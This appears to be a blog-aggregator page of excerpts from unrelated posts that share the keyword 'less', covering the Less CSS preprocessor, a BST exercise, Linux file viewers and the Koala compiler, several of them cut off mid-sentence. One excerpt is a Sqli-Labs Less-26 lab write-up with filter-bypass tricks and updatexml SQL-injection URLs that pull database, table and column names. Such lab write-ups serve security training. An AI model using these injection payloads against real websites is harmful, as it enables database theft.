less

十分钟入门 Less

醉酒当歌 提交于 2020-01-28 04:49:24
我们都知道写 CSS 代码是有些枯燥无味的,尤其是面对那些成千上万行 CSS 代码的项目。你始终在相同的地方使用相同的规则并且在你的编译器中搜索和替换每次颜色的变化。这需要很多的努力和规则来保持你的 CSS 可维护,但它本不应该这样的。 很幸运,网站开发社区已经解决了这个问题,现在我们拥有诸如 Less , Sass 和 Stylus 之类的预处理器,它们给我们提供了许多优于纯 CSS 的好处。 变量 - 它可以让你更轻松的在整个样式表中定义和更改值(这个功能 CSS 在未来某一天也有可能会实现)。 动态计算值 - CSS 中最近出了一个 cal() , 但它只适合用于长度的计算。 Mixins - 可以让你重用或者组合样式,而且支持传递参数。 函数 - 它为你提供了一些方便的程序去操纵颜色,转换图像等。 使用预处理器的唯一缺点就是,你需要将代码转换为纯 CSS 代码,让它能够在浏览器中工作。 1. Getting Started Less 是用 JavaScript 写的,所以需要额外的 Node.js 或者网页浏览器才能够运行它。你可以在你的网站中引入 less.js ,这样在真正的运行环境下它就可以自动编译,但这个过程非常缓慢,所以不建议这么使用。 推荐的方式是提前编译成 CSS 代码并且将一个正常的发展版本备份在线上。当然还有很多可视化的的程序帮助你编译 less 文件

1099 Build A Binary Search Tree (30分)

好久不见. 提交于 2020-01-27 16:38:33
A Binary Search Tree (BST) is recursively defined as a binary tree which has the following properties: The left subtree of a node contains only nodes with keys less than the node's key. The right subtree of a node contains only nodes with keys greater than or equal to the node's key. Both the left and right subtrees must also be binary search trees. Given the structure of a binary tree and a sequence of distinct integer keys, there is only one way to fill these keys into the tree so that the resulting tree satisfies the definition of a BST. You are supposed to output the level order traversal

Sqli-Labs less26-28a

大兔子大兔子 提交于 2020-01-26 22:46:48
less-26 从第26关开始,我的sqli-labs就在docker上运行了,因为windows中阿帕奇对空格的转义有问题 通过源码可以看到有很多过滤,包括空格 or和and。 方法: or可以用||替换 and可以用&& 注释符用;%00替代 空格用%a0替代 所以第一种办法:updatexml报错注入 当前数据库:http://192.168.0.106:300/Less-26/?id=0' || updatexml(1, concat(0x7e, database()) ,1) || '1'='1 查表:http://192.168.0.106:300/Less-26/?id=1' || updatexml(1, concat(0x7e, (select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))) ,1) || '1'='1(注意双写) 查字段:http://192.168.0.106:300/Less-26/?id=1' || updatexml(1, concat(0x7e, (select (group_concat(column_name)) from (infoorrmation_schema

LESS setting variable inside mixin

浪子不回头ぞ 提交于 2020-01-26 02:05:20
问题 Why is @nav-color not getting set...? @light: #f5f5f5; @nav-color: #0ff; @headerbar: #333; @dark: #222; @light: #f5f5f5; .theme() when (lightness(@headerbar) > 50%) { @nav-color: @dark; } .theme() when (lightness(@headerbar) <= 50%) { @nav-color: @light; } .theme(); 回答1: Once a variable is declared within a namespace or a mixin, it kind of becomes scoped or accessible only within that namespace only and it's value cannot be access outside of the scope. Reference from Less Website: Note that

轻松学会less语言

一世执手 提交于 2020-01-26 01:29:53
文章目录 .less文件 .html文件 运行结果: 使用less less文件转换为css文件 .less文件 // 一、变量 @color:blue; //二、混合(Mixins) .mixinsStyle{ border:10px solid red; } //三、映射 .maps(){ padd:20px; flower:pink; } //四、命名空间 .nameSpace(){ .button{ background:palevioletred; } } //五、嵌套 .wrap{ color:@color; .title{ background:yellow; .mixinsStyle(); } //伪选择器(&代表当前选择器的父级) &:hover{ // .nameSpace();//该命名空间将会失效 .nameSpace.button(); color:.maps[flower]; padding:.maps[padd]; } } //六、块注释以及行注释。 //七、scope作用域 /* Less 中的作用域与 CSS 中的作用域非常类似。首先在本地查找变量和混合(mixins),如果找不到,则从“父”级作用域继承。 @backGround:yellow; .box{ @backGround:red ; .title{ background:

Linux下查看文件内容的命令

牧云@^-^@ 提交于 2020-01-25 20:47:35
转: Linux下查看文件内容的命令 查看文件内容的命令: cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输出 more 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head 只显示头几行 tail 只显示最后几行 nl 类似于cat -n,显示时输出行号 tailf 类似于tail -f 1.cat 与 tac cat的功能是将文件从第一行开始连续的将内容输出在屏幕上。但是cat并不常用,原因是当文件大,行数比较多时,屏幕无法全部容下时,只能看到一部分内容。 cat语法:cat [-n] 文件名 (-n : 显示时,连行号一起输出) tac的功能是将文件从最后一行开始倒过来将内容数据输出到屏幕上。我们可以发现,tac实际上是cat反过来写。这个命令也不常用。 tac语法:tac 文件名。 2.more和less(常用) more的功能是将文件从第一行开始,根据输出窗口的大小,适当的输出文件内容。当一页无法全部输出时,可以用“回车键”向下翻行,用“空格键”向下翻页。退出查看页面,请按“q”键。另外,more还可以配合管道符“|”(pipe)使用,例如:ls -al | more more的语法:more 文件名 Enter 向下n行,需要定义,默认为1行; Ctrl f

Less使用说明

梦想的初衷 提交于 2020-01-25 05:12:31
使用koala编译 Koala 是一款由国人开发的开源预处理语言图形编译工具,目前已支持 Less 、 Sass 、 Compass 与 CoffeeScript 。 目前支持以下系统:Windows,Mac, 10.7+,Linux: 32bit / 64bit,Ubuntu: 32bit / 64bit; 我们可以从他们官方网站下载 koala: 点击进入 ,使用文档 点击进入 使用方法: 安装完成后打开 Koala,把 文件夹 拖入界面或者是在左侧加号处选择文件夹,此时在界面左边有文件夹路径产生。 同时有 less 文件将显示在界面中间,右键文件选择输出 CSS 文件的路径。 左键点击 less 文件在右边则有功能选项栏弹出,下面将介绍功能。 功能介绍: 自动编译(实时编译): 当开启自动编译时,使用编辑器按下 Ctrl+S 保存时,CSS 文档会自动更新。如果没有打开这个功能,那么需要使用者在自行点击"执行编译"才更新 CSS 文档。 编译选项: 行注释(line comments):这个功能会在 css 文件里对应的 less 编译出来的 css 代码上方提供一个注释。注释的内容分别说明来自 less 的第几行开始,同时标明是来自那个 less 文件。 调试信息(debug info):这个调试功能是在保存时自动检测有无错误,注意实时编译关闭时不会开启

Use function/mixin in Less selector

不羁岁月 提交于 2020-01-25 01:10:17
问题 I need to repeat my selector. is there any way in Less CSS to do this with function/mixin? Note: Content of frame is different. .slide1{ .frame{ .obj1{} .obj2{} .obj3{} } [data-fragment=1].active ~ .frame { .obj1{} .obj2{} /* frame1 css */ } [data-fragment=2].active ~ .frame { .obj2{} .obj3{} /* frame2 css */ } /* other frames ... */ } .slide2{ /* slide2 css */ } /* other slides ... */ to .slide1{ .frame{/* ... */} .frameselector(1){/* frame1 css */} .frameselector(2){/* frame2 css */} }

Processing Less file on client in ASP.NET project

烈酒焚心 提交于 2020-01-24 09:53:46
问题 I am trying to change from .css to .less and process this .less on the client using less.js. So I renamed my .css to .less and then added less.js to the project (ASP.NET Web Forms). So the head section looks like this: <link href="Content/myproject.less" rel="stylesheet/less" type="text/css"/> <script src="Scripts/less-1.5.0.min.js"></script> But when I run the project I get error that file myproject.less is not found. The exact error is: FileError: 'http://localhost:52714/Content/myproject

less的使用

为君一笑 提交于 2020-01-24 04:53:57
1.浏览器直接使用——最简单的用法(不推荐使用,性能差) 引入你的 .less 样式文件的时候要设置 rel 属性值为 “stylesheet/less”: <link rel="stylesheet/less" type="text/css" href="styles.less"> 然后点击页面顶部download按钮下载 less.js, 在<head> 中引入: <script src="less.js" type="text/javascript"></script> //或者官方CDN加速的<script src="http://cdn.bootcss.com/less.js/1.7.0/less.min.js"></script> 注意你的less样式文件一定要在引入less.js前先引入。 请在服务器环境下使用!本地直接打开可能会报错!(用Firefox可以不依赖服务器) 可以看到Chrome会报出这个错误,本地直接打开而不依赖服务器软件话是不能用http协议的,自然XHR就不能工作了。less.js就是利用XHR来请求less文件里的源码的。 2.在服务器端使用 2.1命令行下编译less文件 在全局安装less $ npm install -g less 之后可以在cmd里面直接使用less编译了 2.2直接在命令行下编译字符串less代码 var less =